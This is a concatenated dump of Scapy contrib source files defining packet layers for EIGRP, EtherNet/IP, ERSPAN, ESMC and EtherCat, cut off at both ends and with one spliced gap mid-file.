Eddystone_TLM, type=2) bind_layers(Eddystone_Frame, Eddystone_EID, type=3) bind_layers(EIR_ServiceData16BitUUID, Eddystone_Frame, svc_uuid=EDDYSTONE_UUID) ================================================ FILE: scapy/contrib/eigrp.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2009 Jochen Bartl # scapy.contrib.description = Enhanced Interior Gateway Routing Protocol (EIGRP) # scapy.contrib.status = loads """ EIGRP Scapy Extension ~~~~~~~~~~~~~~~~~~~~~ :version: 2009-08-13 :e-mail: lobo@c3a.de / jochen.bartl@gmail.com :TODO - Replace TLV code with a more generic solution * http://trac.secdev.org/scapy/ticket/90 - Write function for calculating authentication data :Thanks: - TLV code derived from the CDP implementation of scapy. (Thanks to Nicolas Bareil and Arnaud Ebalard) http://trac.secdev.org/scapy/ticket/18 - IOS / EIGRP Version Representation FIX by Dirk Loss """ import socket import struct from scapy.packet import Packet from scapy.fields import StrField, IPField, XShortField, FieldLenField, \ StrLenField, IntField, ByteEnumField, ByteField, ConditionalField, \ FlagsField, IP6Field, PacketListField, ShortEnumField, \ ShortField, StrFixedLenField, ThreeBytesField from scapy.layers.inet import IP, checksum, bind_layers from scapy.layers.inet6 import IPv6 from scapy.compat import chb from scapy.config import conf from scapy.utils import inet_aton, inet_ntoa from scapy.pton_ntop import inet_ntop, inet_pton from scapy.error import warning, Scapy_Exception from scapy.volatile import RandShort, RandString class EigrpIPField(StrField, IPField): """ This is a special field type for handling ip addresses of destination networks in internal and external route updates. EIGRP removes zeros from the host portion of the ip address if the netmask is 8, 16 or 24 bits. """ __slots__ = ["length_from"] def __init__(self, name, default, length=None, length_from=None): StrField.__init__(self, name, default) self.length_from = length_from if length is not None: self.length_from = lambda pkt, length=length: length def h2i(self, pkt, x): return IPField.h2i(self, pkt, x) def i2m(self, pkt, x): x = inet_aton(x) tmp_len = self.length_from(pkt) if tmp_len <= 8: return x[:1] elif tmp_len <= 16: return x[:2] elif tmp_len <= 24: return x[:3] else: return x def m2i(self, pkt, x): tmp_len = self.length_from(pkt) if tmp_len <= 8: x += b"\x00\x00\x00" elif tmp_len <= 16: x += b"\x00\x00" elif tmp_len <= 24: x += b"\x00" return inet_ntoa(x) def prefixlen_to_bytelen(self, tmp_len): if tmp_len <= 8: tmp_len = 1 elif tmp_len <= 16: tmp_len = 2 elif tmp_len <= 24: tmp_len = 3 else: tmp_len = 4 return tmp_len def i2len(self, pkt, x): tmp_len = self.length_from(pkt) tmp_len = self.prefixlen_to_bytelen(tmp_len) return tmp_len def getfield(self, pkt, s): tmp_len = self.length_from(pkt) tmp_len = self.prefixlen_to_bytelen(tmp_len) return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) def randval(self): return IPField.randval(self) class EigrpIP6Field(StrField, IP6Field): """ This is a special field type for handling ip addresses of destination networks in internal and external route updates. """ __slots__ = ["length_from"] def __init__(self, name, default, length=None, length_from=None): StrField.__init__(self, name, default) self.length_from = length_from if length is not None: self.length_from = lambda pkt, length=length: length def any2i(self, pkt, x): return IP6Field.any2i(self, pkt, x) def i2repr(self, pkt, x): return IP6Field.i2repr(self, pkt, x) def h2i(self, pkt, x): return IP6Field.h2i(self, pkt, x) def i2m(self, pkt, x): x = inet_pton(socket.AF_INET6, x) tmp_len = self.length_from(pkt) tmp_len = self.prefixlen_to_bytelen(tmp_len) return x[:tmp_len] def m2i(self, pkt, x): tmp_len = self.length_from(pkt) prefixlen = self.prefixlen_to_bytelen(tmp_len) if tmp_len > 128: warning("EigrpIP6Field: Prefix length is > 128. Dissection of this packet will fail") # noqa: E501 else: pad = b"\x00" * (16 - prefixlen) x += pad return inet_ntop(socket.AF_INET6, x) def prefixlen_to_bytelen(self, plen): plen = plen // 8 if plen < 16: plen += 1 return plen def i2len(self, pkt, x): tmp_len = self.length_from(pkt) tmp_len = self.prefixlen_to_bytelen(tmp_len) return tmp_len def getfield(self, pkt, s): tmp_len = self.length_from(pkt) tmp_len = self.prefixlen_to_bytelen(tmp_len) return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) def randval(self): return IP6Field.randval(self) class EIGRPGeneric(Packet): name = "EIGRP Generic TLV" fields_desc = [XShortField("type", 0x0000), FieldLenField("len", None, "value", "!H", adjust=lambda pkt, x: x + 4), # noqa: E501 StrLenField("value", b"\x00", length_from=lambda pkt: pkt.len - 4)] # noqa: E501 def guess_payload_class(self, p): return conf.padding_layer class EIGRPParam(EIGRPGeneric): name = "EIGRP Parameters" fields_desc = [XShortField("type", 0x0001), ShortField("len", 12), # Bandwidth ByteField("k1", 1), # Load ByteField("k2", 0), # Delay ByteField("k3", 1), # Reliability ByteField("k4", 0), # MTU ByteField("k5", 0), ByteField("reserved", 0), ShortField("holdtime", 15) ] class EIGRPAuthData(EIGRPGeneric): name = "EIGRP Authentication Data" fields_desc = [XShortField("type", 0x0002), FieldLenField("len", None, "authdata", "!H", adjust=lambda pkt, x: x + 24), # noqa: E501 ShortEnumField("authtype", 2, {2: "MD5"}), ShortField("keysize", None), IntField("keyid", 1), StrFixedLenField("nullpad", b"\x00" * 12, 12), StrLenField("authdata", RandString(16), length_from=lambda pkt: pkt.keysize) # noqa: E501 ] def post_build(self, p, pay): p += pay if self.keysize is None: keysize = len(self.authdata) p = p[:6] + chb((keysize >> 8) & 0xff) + chb(keysize & 0xff) + p[8:] # noqa: E501 return p class EIGRPSeq(EIGRPGeneric): name = "EIGRP Sequence" fields_desc = [XShortField("type", 0x0003), ShortField("len", None), ByteField("addrlen", 4), ConditionalField(IPField("ipaddr", "192.168.0.1"), lambda pkt:pkt.addrlen == 4), ConditionalField(IP6Field("ip6addr", "2001::"), lambda pkt:pkt.addrlen == 16) ] def post_build(self, p, pay): p += pay if self.len is None: tmp_len = len(p) tmp_p = p[:2] + chb((tmp_len >> 8) & 0xff) p = tmp_p + chb(tmp_len & 0xff) + p[4:] return p class ShortVersionField(ShortField): def i2repr(self, pkt, x): try: minor = x & 0xff major = (x >> 8) & 0xff except TypeError: return "unknown" else: # We print a leading 'v' so that these values don't look like floats # noqa: E501 return "v%s.%s" % (major, minor) def h2i(self, pkt, x): """The field accepts string values like v12.1, v1.1 or integer values. String values have to start with a "v" followed by a floating point number. Valid numbers are between 0 and 255. """ if isinstance(x, str) and x.startswith("v") and len(x) <= 8: major = int(x.split(".")[0][1:]) minor = int(x.split(".")[1]) return (major << 8) | minor elif isinstance(x, int) and 0 <= x <= 65535: return x else: if not hasattr(self, "default"): return x if self.default is not None: warning("set value to default. Format of %r is invalid", x) return self.default else: raise Scapy_Exception("Format of value is invalid") def randval(self): return RandShort() class EIGRPSwVer(EIGRPGeneric): name = "EIGRP Software Version" fields_desc = [XShortField("type", 0x0004), ShortField("len", 8), ShortVersionField("ios", "v12.0"), ShortVersionField("eigrp", "v1.2") ] class EIGRPNms(EIGRPGeneric): name = "EIGRP Next Multicast Sequence" fields_desc = [XShortField("type", 0x0005), ShortField("len", 8), IntField("nms", 2) ] # Don't get confused by the term "receive-only". This flag is always set, when you configure # noqa: E501 # one of the stub options. It's also the only flag set, when you configure "eigrp stub receive-only". # noqa: E501 _EIGRP_STUB_FLAGS = ["connected", "static", "summary", "receive-only", "redistributed", "leak-map"] # noqa: E501 class EIGRPStub(EIGRPGeneric): name = "EIGRP Stub Router" fields_desc = [XShortField("type", 0x0006), ShortField("len", 6), FlagsField("flags", 0x000d, 16, _EIGRP_STUB_FLAGS)] # Delay 0xffffffff == Destination Unreachable class EIGRPIntRoute(EIGRPGeneric): name = "EIGRP Internal Route" fields_desc = [XShortField("type", 0x0102), FieldLenField("len", None, "dst", "!H", adjust=lambda pkt, x: x + 25), # noqa: E501 IPField("nexthop", "192.168.0.0"), IntField("delay", 128000), IntField("bandwidth", 256), ThreeBytesField("mtu", 1500), ByteField("hopcount", 0), ByteField("reliability", 255), ByteField("load", 0), XShortField("reserved", 0), ByteField("prefixlen", 24), EigrpIPField("dst", "192.168.1.0", length_from=lambda pkt: pkt.prefixlen), # noqa: E501 ] _EIGRP_EXTERNAL_PROTOCOL_ID = { 0x01: "IGRP", 0x02: "EIGRP", 0x03: "Static Route", 0x04: "RIP", 0x05: "Hello", 0x06: "OSPF", 0x07: "IS-IS", 0x08: "EGP", 0x09: "BGP", 0x0A: "IDRP", 0x0B: "Connected Link" } _EIGRP_EXTROUTE_FLAGS = ["external", "candidate-default"] class EIGRPExtRoute(EIGRPGeneric): name = "EIGRP External Route" fields_desc = [XShortField("type", 0x0103), FieldLenField("len", None, "dst", "!H", adjust=lambda pkt, x: x + 45), # noqa: E501 IPField("nexthop", "192.168.0.0"), IPField("originrouter", "192.168.0.1"), IntField("originasn", 0), IntField("tag", 0), IntField("externalmetric", 0), ShortField("reserved", 0), ByteEnumField("extprotocolid", 3, _EIGRP_EXTERNAL_PROTOCOL_ID), # noqa: E501 FlagsField("flags", 0, 8, _EIGRP_EXTROUTE_FLAGS), IntField("delay", 0), IntField("bandwidth", 256), ThreeBytesField("mtu", 1500), ByteField("hopcount", 0), ByteField("reliability", 255), ByteField("load", 0), XShortField("reserved2", 0), ByteField("prefixlen", 24), EigrpIPField("dst", "192.168.1.0", length_from=lambda pkt: pkt.prefixlen) # noqa: E501 ] class EIGRPv6IntRoute(EIGRPGeneric): name = "EIGRP for IPv6 Internal Route" fields_desc = [XShortField("type", 0x0402), FieldLenField("len", None, "dst", "!H", adjust=lambda pkt, x: x + 37), # noqa: E501 IP6Field("nexthop", "::"), IntField("delay", 128000), IntField("bandwidth", 256000), ThreeBytesField("mtu", 1500), ByteField("hopcount", 1), ByteField("reliability", 255), ByteField("load", 0), XShortField("reserved", 0), ByteField("prefixlen", 16), EigrpIP6Field("dst", "2001::", length_from=lambda pkt: pkt.prefixlen) # noqa: E501 ] class EIGRPv6ExtRoute(EIGRPGeneric): name = "EIGRP for IPv6 External Route" fields_desc = [XShortField("type", 0x0403), FieldLenField("len", None, "dst", "!H", adjust=lambda pkt, x: x + 57), # noqa: E501 IP6Field("nexthop", "::"), IPField("originrouter", "192.168.0.1"), IntField("originasn", 0), IntField("tag", 0), IntField("externalmetric", 0), ShortField("reserved", 0), ByteEnumField("extprotocolid", 3, _EIGRP_EXTERNAL_PROTOCOL_ID), # noqa: E501 FlagsField("flags", 0, 8, _EIGRP_EXTROUTE_FLAGS), IntField("delay", 0), IntField("bandwidth", 256000), ThreeBytesField("mtu", 1500), ByteField("hopcount", 1), ByteField("reliability", 0), ByteField("load", 1), XShortField("reserved2", 0), ByteField("prefixlen", 8), EigrpIP6Field("dst", "::", length_from=lambda pkt: pkt.prefixlen) # noqa: E501 ] _eigrp_tlv_cls = { 0x0001: "EIGRPParam", 0x0002: "EIGRPAuthData", 0x0003: "EIGRPSeq", 0x0004: "EIGRPSwVer", 0x0005: "EIGRPNms", 0x0006: "EIGRPStub", 0x0102: "EIGRPIntRoute", 0x0103: "EIGRPExtRoute", 0x0402: "EIGRPv6IntRoute", 0x0403: "EIGRPv6ExtRoute" } def _EIGRPGuessPayloadClass(p, **kargs): cls = conf.raw_layer if len(p) >= 2: t = struct.unpack("!H", p[:2])[0] clsname = _eigrp_tlv_cls.get(t, "EIGRPGeneric") cls = globals()[clsname] return cls(p, **kargs) _EIGRP_OPCODES = {1: "Update", 2: "Request", 3: "Query", 4: "Replay", 5: "Hello", 6: "IPX SAP", 10: "SIA Query", 11: "SIA Reply"} # The Conditional Receive bit is used for reliable multicast communication. # Update-Flag: Not sure if Cisco calls it that way, but it's set when neighbors # are exchanging routing information _EIGRP_FLAGS = ["init", "cond-recv", "unknown", "update"] class EIGRP(Packet): name = "EIGRP" fields_desc = [ByteField("ver", 2), ByteEnumField("opcode", 5, _EIGRP_OPCODES), XShortField("chksum", None), FlagsField("flags", 0, 32, _EIGRP_FLAGS), IntField("seq", 0), IntField("ack", 0), IntField("asn", 100), PacketListField("tlvlist", [], _EIGRPGuessPayloadClass) ] def post_build(self, p, pay): p += pay if self.chksum is None: c = checksum(p) p = p[:2] + chb((c >> 8) & 0xff) + chb(c & 0xff) + p[4:] return p def mysummary(self): summarystr = "EIGRP (AS=%EIGRP.asn% Opcode=%EIGRP.opcode%" if self.opcode == 5 and self.ack != 0: summarystr += " (ACK)" if self.flags != 0: summarystr += " Flags=%EIGRP.flags%" return self.sprintf(summarystr + ")") bind_layers(IP, EIGRP, proto=88) bind_layers(IPv6, EIGRP, nh=88) ================================================ FILE: scapy/contrib/enipTCP.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2019 Jose Diogo Monteiro # Updated (C) 2023 Claire Vacherot # scapy.contrib.description = EtherNet/IP # scapy.contrib.status = loads """ EtherNet/IP (Industrial Protocol) Based on https://github.com/scy-phy/scapy-cip-enip EtherNet/IP Home: www.odva.org """ import struct from scapy.packet import Packet, bind_layers from scapy.layers.inet import TCP from scapy.fields import LEShortField, LEShortEnumField, LEIntEnumField, \ LEIntField, LELongField, FieldLenField, PacketListField, ByteField, \ StrLenField, StrFixedLenField, XLEIntField, XLEStrLenField, \ LEFieldLenField, ShortField, IPField, LongField, XLEShortField _commandIdList = { 0x0001: "UnknownCommand", 0x0004: "ListServices", # Request Struct Don't Have Command Spec Data 0x0063: "ListIdentity", # Request Struct Don't Have Command Spec Data 0x0064: "ListInterfaces", # Request Struct Don't Have Command Spec Data 0x0065: "RegisterSession", # Request Structure = Reply Structure 0x0066: "UnregisterSession", # Don't Have Command Specific Data 0x006f: "SendRRData", # Request Structure = Reply Structure 0x0070: "SendUnitData", # There is no reply 0x0072: "IndicateStatus", 0x0073: "Cancel" } _statusList = { 0: "success", 1: "invalid_cmd", 2: "no_resources", 3: "incorrect_data", 100: "invalid_session", 101: "invalid_length", 105: "unsupported_prot_rev" } _typeIdList = { 0x0000: "Null Address Item", 0x000c: "CIP Identity", 0x0086: "CIP Security Information", 0x0087: "EtherNet/IP Capability", 0x0088: "EtherNet/IP Usage", 0x00a1: "Connected Address Item", 0x00B1: "Connected Data Item", 0x00B2: "Unconnected Data Item", 0x0100: "List Services Response", 0x8000: "Socket Address Info O->T", 0x8001: "Socket Address Info T->O", 0x8002: "Sequenced Address Item", 0x8003: "Unconnected Message over UDP" } _deviceTypeList = { 0x0000: "Generic Device (deprecated)", 0x0002: "AC Drive", 0x0003: "Motor Overload", 0x0004: "Limit Switch", 0x0005: "Inductive Proximity Switch", 0x0006: "Photoelectric Sensor", 0x0007: "General Purpose Discrete I/O", 0x0009: "Resolver", 0x000C: "Communications Adapter", 0x000E: "Programmable Logic Controller", 0x0010: "Position Controller", 0x0013: "DC Drive", 0x0015: "Contactor", 0x0016: "Motor Starter", 0x0017: "Soft Start", 0x0018: "Human-Machine Interface", 0x001A: "Mass Flow Controller", 0x001B: "Pneumatic Valve", 0x001C: "Vacuum Pressure Gauge", 0x001D: "Process Control Value", 0x001E: "Residual Gas Analyzer", 0x001F: "DC Power Generator", 0x0020: "RF Power Generator", 0x0021: "Turbomolecular Vacuum Pump", 0x0022: "Encoder", 0x0023: "Safety Discrete I/O Device", 0x0024: "Fluid Flow Controller", 0x0025: "CIP Motion Drive", 0x0026: "CompoNet Repeater", 0x0027: "Mass Flow Controller, Enhanced", 0x0028: "CIP Modbus Device", 0x0029: "CIP Modbus Translator", 0x002A: "Safety Analog I/O Device", 0x002B: "Generic Device (keyable)", 0x002C: "Managed Ethernet Switch", 0x002D: "CIP Motion Safety Drive Device", 0x002E: "Safety Drive Device", 0x002F: "CIP Motion Encoder", 0x0030: "CIP Motion Converter", 0x0031: "CIP Motion I/O", 0x0032: "ControlNet Physical Layer Component", 0x0033: "Circuit Breaker", 0x0034: "HART Device", 0x0035: "CIP-HART Translator", 0x00C8: "Embedded Component", } _interfaceList = { 0x00: "CIP" } class ItemData(Packet): """Common Packet Format""" name = "Item Data" fields_desc = [ LEShortEnumField("typeId", 0, _typeIdList), LEShortField("length", 0), XLEStrLenField("data", "", length_from=lambda pkt: pkt.length), ] def extract_padding(self, s): return '', s # Unknown command (0x0001) class ENIPUnknownCommand(Packet): """Unknown Command reply""" name = "ENIPUnknownCommand" pass # List services (0x0004) class ENIPListServicesItem(Packet): """List Services Item Field""" name = "ENIPListServicesItem" fields_desc = [ LEShortEnumField("itemTypeCode", 0, _typeIdList), LEFieldLenField("itemLength", 0), LEShortField("protocolVersion", 0), XLEShortField("flag", 0), # TODO: detail with BitFields StrFixedLenField("serviceName", None, 16), ] class ENIPListServices(Packet): """List Services Command Field""" name = "ENIPListServices" fields_desc = [ FieldLenField("itemCount", 0, count_of="items"), PacketListField("items", None, ENIPListServicesItem), ] # List identity (0x0063) class ENIPListIdentityItem(Packet): """List Identity Item Fields""" name = "ENIPListIdentityReplyItem" fields_desc = [ LEShortEnumField("itemTypeCode", 0, _typeIdList), LEFieldLenField("itemLength", 0), LEShortField("protocolVersion", 0), # Socket address ShortField("sinFamily", 0), ShortField("sinPort", 0), IPField("sinAddress", None), LongField("sinZero", 0), # End socket address LEShortField("vendorId", 0), # Vendor list could be added (long list) LEShortEnumField("deviceType", 0, _deviceTypeList), LEShortField("productCode", 0), ByteField("revisionMajor", 0), ByteField("revisionMinor", 0), LEShortField("status", 0), XLEIntField("serialNumber", 0), ByteField("productNameLength", 0), StrLenField("productName", None, length_from=lambda pkt: pkt.productNameLength), ByteField("state", 0) ] class ENIPListIdentity(Packet): """List identity request and response""" name = "ENIPListIdentity" fields_desc = [ FieldLenField("itemCount", 0, count_of="items"), PacketListField("items", None, ENIPListIdentityItem) ] # List Interfaces (0x0064) class ENIPListInterfacesItem(Packet): """List Interfaces Item Fields""" name = "ENIPListInterfacesItem" fields_desc = [ LEShortEnumField("itemTypeCode", 0, _typeIdList), FieldLenField("itemLength", 0, length_of="itemData"), # TODO: Could be detailed StrLenField("itemData", "", length_from=lambda pkt: pkt.itemLength), ] class ENIPListInterfaces(Packet): """List Interfaces Command Field""" name = "ENIPListInterfaces" fields_desc = [ FieldLenField("itemCount", 0, count_of="items"), PacketListField("items", None, ENIPListInterfacesItem), ] # Register Session (0x0065) class ENIPRegisterSession(Packet): """Register Session Command Field""" name = "ENIPRegisterSession" fields_desc = [ LEShortField("protocolVersion", 1), LEShortField("options", 0) ] # Unregister Session (0x0066) -- Requires further testing class ENIPUnregisterSession(Packet): """Unregister Session Command Field""" name = "ENIPUnregisterSession" pass # Send RR Data (0x006f) class ENIPSendRRData(Packet): """Send RR Data Command Field""" name = "ENIPSendRRData" fields_desc = [ LEIntEnumField("interface", 0, _interfaceList), LEShortField("timeout", 0xff), LEFieldLenField("itemCount", 0, count_of="items"), PacketListField("items", None, ItemData) # TODO: Send RR Data is usually followed by a CIP packet ] # Send Unit Data (0x006f) class ENIPSendUnitData(Packet): """Send Unit Data Command Field""" name = "ENIPSendUnitData" fields_desc = [ LEIntEnumField("interface", 0, _interfaceList), LEShortField("timeout", 0xff), LEFieldLenField("itemCount", 0, count_of="items"), PacketListField("items", None, ItemData) ] # Main Ethernet/IP packet structure with header class ENIPTCP(Packet): """Ethernet/IP packet over TCP""" name = "ENIPTCP" fields_desc = [ LEShortEnumField("commandId", None, _commandIdList), LEShortField("length", 0), XLEIntField("session", 0), LEIntEnumField("status", None, _statusList), LELongField("senderContext", 0), LEIntField("options", 0), ] def post_build(self, pkt, pay): if self.length is None and pay: pkt = pkt[:2] + struct.pack("> 4 if ver == 1: return ERSPAN_II elif ver == 2: return ERSPAN_III else: return ERSPAN_I if cls == ERSPAN: return ERSPAN_II return cls class ERSPAN_I(ERSPAN): name = "ERSPAN I" match_subclass = True fields_desc = [] class ERSPAN_II(ERSPAN): name = "ERSPAN II" match_subclass = True fields_desc = [BitField("ver", 1, 4), BitField("vlan", 0, 12), BitField("cos", 0, 3), BitField("en", 0, 2), BitField("t", 0, 1), BitField("session_id", 0, 10), BitField("reserved", 0, 12), BitField("index", 0, 20), ] class ERSPAN_III(ERSPAN): name = "ERSPAN III" match_subclass = True fields_desc = [BitField("ver", 2, 4), BitField("vlan", 0, 12), BitField("cos", 0, 3), BitField("bso", 0, 2), BitField("t", 0, 1), BitField("session_id", 0, 10), XIntField("timestamp", 0x00000000), XShortField("sgt_other", 0x00000000), BitField("p", 0, 1), BitEnumField("ft", 0, 5, {0: "Ethernet", 2: "IP"}), BitField("hw", 0, 6), BitField("d", 0, 1), BitEnumField("gra", 0, 2, {0: "100us", 1: "100ns", 2: "IEEE 1588"}), BitField("o", 0, 1) ] class ERSPAN_PlatformSpecific(Packet): name = "PlatformSpecific" fields_desc = [BitField("platf_id", 0, 6), BitField("info1", 0, 26), XIntField("info2", 0x00000000)] bind_layers(ERSPAN_I, Ether) bind_layers(ERSPAN_II, Ether) bind_layers(ERSPAN_III, Ether, o=0) bind_layers(ERSPAN_III, ERSPAN_PlatformSpecific, o=1) bind_layers(ERSPAN_PlatformSpecific, Ether) bind_layers(GRE, ERSPAN, proto=0x88be, seqnum_present=0) bind_layers(GRE, ERSPAN_II, proto=0x88be, seqnum_present=1) bind_layers(GRE, ERSPAN_III, proto=0x22eb) ================================================ FILE: scapy/contrib/esmc.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = Ethernet Synchronization Message Channel (ESMC) # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import BitField, ByteField, XByteField, ShortField, XStrFixedLenField # noqa: E501 from scapy.contrib.slowprot import SlowProtocol from scapy.compat import orb class ESMC(Packet): name = "ESMC" fields_desc = [ XStrFixedLenField("ituOui", b"\x00\x19\xa7", 3), ShortField("ituSubtype", 1), BitField("version", 1, 4), BitField("event", 0, 1), BitField("reserved1", 0, 3), XStrFixedLenField("reserved2", b"\x00" * 3, 3), ] def guess_payload_class(self, payload): if orb(payload[0]) == 1: return QLTLV if orb(payload[0]) == 2: return EQLTLV return Packet.guess_payload_class(self, payload) class QLTLV(ESMC): name = "QLTLV" fields_desc = [ ByteField("type", 1), ShortField("length", 4), XByteField("ssmCode", 0xf), ] class EQLTLV(ESMC): name = "EQLTLV" fields_desc = [ ByteField("type", 2), ShortField("length", 0x14), XByteField("enhancedSsmCode", 0xFF), XStrFixedLenField("clockIdentity", b"\x00" * 8, 8), ByteField("flag", 0), ByteField("cascaded_eEEcs", 1), ByteField("cascaded_EEcs", 0), XStrFixedLenField("reserved", b"\x00" * 5, 5), ] bind_layers(SlowProtocol, ESMC, subtype=10) ================================================ FILE: scapy/contrib/ethercat.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = EtherCat # scapy.contrib.status = loads """ EtherCat automation protocol ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ :author: Thomas Tannhaeuser, hecke@naberius.de :description: This module provides Scapy layers for the EtherCat protocol. normative references: - IEC 61158-3-12 - data link service and topology description - IEC 61158-4-12 - protocol specification Currently only read/write services as defined in IEC 61158-4-12, sec. 5.4 are supported. :TODO: - Mailbox service (sec. 5.5) - Network variable service (sec. 5.6) :NOTES: - EtherCat frame type defaults to TYPE-12-PDU (0x01) using xxx bytes of padding - padding for minimum frame size is added automatically """ import struct from scapy.compat import raw from scapy.error import log_runtime, Scapy_Exception from scapy.fields import BitField, ByteField, LEShortField, FieldListField, \ LEIntField, FieldLenField, _EnumField, EnumField from scapy.layers.l2 import Ether, Dot1Q from scapy.packet import bind_layers, Packet, Padding ''' EtherCat uses some little endian bitfields without alignment to any common boundaries. # noqa: E501 See https://github.com/secdev/scapy/pull/569#issuecomment-295419176 for a short explanation # noqa: E501 why the following field definitions are necessary. ''' class LEBitFieldSequenceException(Scapy_Exception): """ thrown by EtherCat structure tests """ pass class LEBitField(BitField): """ a little endian version of the BitField """ def _check_field_type(self, pkt, index): """ check if the field addressed by given index relative to this field shares type of this field so we can catch a mix of LEBitField and BitField/other types """ my_idx = pkt.fields_desc.index(self) try: next_field = pkt.fields_desc[my_idx + index] if type(next_field) is not LEBitField and \ next_field.__class__.__base__ is not LEBitField: raise LEBitFieldSequenceException('field after field {} must ' 'be of type LEBitField or ' 'derived classes'.format(self.name)) # noqa: E501 except IndexError: # no more fields -> error raise LEBitFieldSequenceException('Missing further LEBitField ' 'based fields after field ' '{} '.format(self.name)) def addfield(self, pkt, s, val): """ :param pkt: packet instance the raw string s and field belongs to :param s: raw string representing the frame :param val: value :return: final raw string, tuple (s, bitsdone, data) if in between bit field # noqa: E501 as we don't know the final size of the full bitfield we need to accumulate the data. # noqa: E501 if we reach a field that ends at a octet boundary, we build the whole string # noqa: E501 """ if type(s) is tuple and len(s) == 4: s, bitsdone, data, _ = s self._check_field_type(pkt, -1) else: # this is the first bit field in the set bitsdone = 0 data = [] bitsdone += self.size data.append((self.size, self.i2m(pkt, val))) if bitsdone % 8: # somewhere in between bit 0 .. 7 - next field should add more bits... # noqa: E501 self._check_field_type(pkt, 1) return s, bitsdone, data, type(LEBitField) else: data.reverse() octet = 0 remaining_len = 8 octets = bytearray() for size, val in data: while True: if size < remaining_len: remaining_len = remaining_len - size octet |= val << remaining_len break elif size > remaining_len: # take the leading bits and add them to octet size -= remaining_len octet |= val >> size octets = struct.pack('!B', octet) + octets octet = 0 remaining_len = 8 # delete all consumed bits # TODO: do we need to add a check for bitfields > 64 bits to catch overruns here? # noqa: E501 val &= ((2 ** size) - 1) continue else: # size == remaining len octet |= val octets = struct.pack('!B', octet) + octets octet = 0 remaining_len = 8 break return s + octets def getfield(self, pkt, s): """ extract data from raw str collect all instances belonging to the bit field set. if we reach a field that ends at a octet boundary, dissect the whole bit field at once # noqa: E501 :param pkt: packet instance the field belongs to :param s: raw string representing the frame -or- tuple containing raw str, number of bits and array of fields # noqa: E501 :return: tuple containing raw str, number of bits and array of fields -or- remaining raw str and value of this # noqa: E501 """ if type(s) is tuple and len(s) == 3: s, bits_in_set, fields = s else: bits_in_set = 0 fields = [] bits_in_set += self.size fields.append(self) if bits_in_set % 8: # we are in between the bitfield return (s, bits_in_set, fields), None else: cur_val = 0 cur_val_bit_idx = 0 this_val = 0 field_idx = 0 field = fields[field_idx] field_required_bits = field.size idx = 0 s = bytearray(s) bf_total_byte_length = bits_in_set // 8 for octet in s[0:bf_total_byte_length]: idx += 1 octet_bits_left = 8 while octet_bits_left: if field_required_bits == octet_bits_left: # whole field fits into remaining bits # as this also signals byte-alignment this should exit the inner and outer loop # noqa: E501 cur_val |= octet << cur_val_bit_idx pkt.fields[field.name] = cur_val ''' TODO: check if do_dessect() needs a non-None check for assignment to raw_packet_cache_fields # noqa: E501 setfieldval() is evil as it sets raw_packet_cache_fields to None - but this attribute # noqa: E501 is accessed in do_dissect() without checking for None... exception is caught and the # noqa: E501 user ends up with a layer decoded as raw... pkt.setfieldval(field.name, int(bit_str[:field.size], 2)) # noqa: E501 ''' octet_bits_left = 0 this_val = cur_val elif field_required_bits < octet_bits_left: # pick required bits cur_val |= (octet & ((2 ** field_required_bits) - 1)) << cur_val_bit_idx # noqa: E501 pkt.fields[field.name] = cur_val # remove consumed bits octet >>= field_required_bits octet_bits_left -= field_required_bits # and move to the next field field_idx += 1 field = fields[field_idx] field_required_bits = field.size cur_val_bit_idx = 0 cur_val = 0 elif field_required_bits > octet_bits_left: # take remaining bits cur_val |= octet << cur_val_bit_idx cur_val_bit_idx += octet_bits_left field_required_bits -= octet_bits_left octet_bits_left = 0 return s[bf_total_byte_length:], this_val class LEBitFieldLenField(LEBitField): __slots__ = ["length_of", "count_of", "adjust"] def __init__(self, name, default, size, length_of=None, count_of=None, adjust=lambda pkt, x: x): # noqa: E501 LEBitField.__init__(self, name, default, size) self.length_of = length_of self.count_of = count_of self.adjust = adjust def i2m(self, pkt, x): return FieldLenField.i2m(self, pkt, x) class LEBitEnumField(LEBitField, _EnumField): __slots__ = EnumField.__slots__ def __init__(self, name, default, size, enum): _EnumField.__init__(self, name, default, enum) self.rev = size < 0 self.size = abs(size) ################################################ # DLPDU structure definitions (read/write PDUs) ################################################ ETHERCAT_TYPE_12_CIRCULATING_FRAME = { 0x00: 'FRAME-NOT-CIRCULATING', 0x01: 'FRAME-CIRCULATED-ONCE' } ETHERCAT_TYPE_12_NEXT_FRAME = { 0x00: 'LAST-TYPE12-PDU', 0x01: 'TYPE12-PDU-FOLLOWS' } class EtherCatType12DLPDU(Packet): """ Type12 message base class """ def post_build(self, pkt, pay): """ set next attr automatically if not set explicitly by user :param pkt: raw string containing the current layer :param pay: raw string containing the payload :return: + payload """ data_len = len(self.data) if data_len > 2047: raise ValueError('payload size {} exceeds maximum length {} ' 'of data size.'.format(data_len, 2047)) if self.next is not None: has_next = True if self.next else False else: if pay: has_next = True else: has_next = False if has_next: next_flag = bytearray([pkt[7] | 0b10000000]) else: next_flag = bytearray([pkt[7] & 0b01111111]) return pkt[:7] + next_flag + pkt[8:] + pay def guess_payload_class(self, payload): try: dlpdu_type = payload[0] return EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[dlpdu_type] except KeyError: log_runtime.error( '{}.guess_payload_class() - unknown or invalid ' 'DLPDU type'.format(self.__class__.__name__)) return Packet.guess_payload_class(self, payload) # structure templates lacking leading cmd-attribute PHYSICAL_ADDRESSING_DESC = [ ByteField('idx', 0), LEShortField('adp', 0), LEShortField('ado', 0), LEBitFieldLenField('len', None, 11, count_of='data'), LEBitField('_reserved', 0, 3), LEBitEnumField('c', 0, 1, ETHERCAT_TYPE_12_CIRCULATING_FRAME), LEBitEnumField('next', None, 1, ETHERCAT_TYPE_12_NEXT_FRAME), LEShortField('irq', 0), FieldListField('data', [], ByteField('', 0x00), count_from=lambda pkt: pkt.len), LEShortField('wkc', 0) ] BROADCAST_ADDRESSING_DESC = 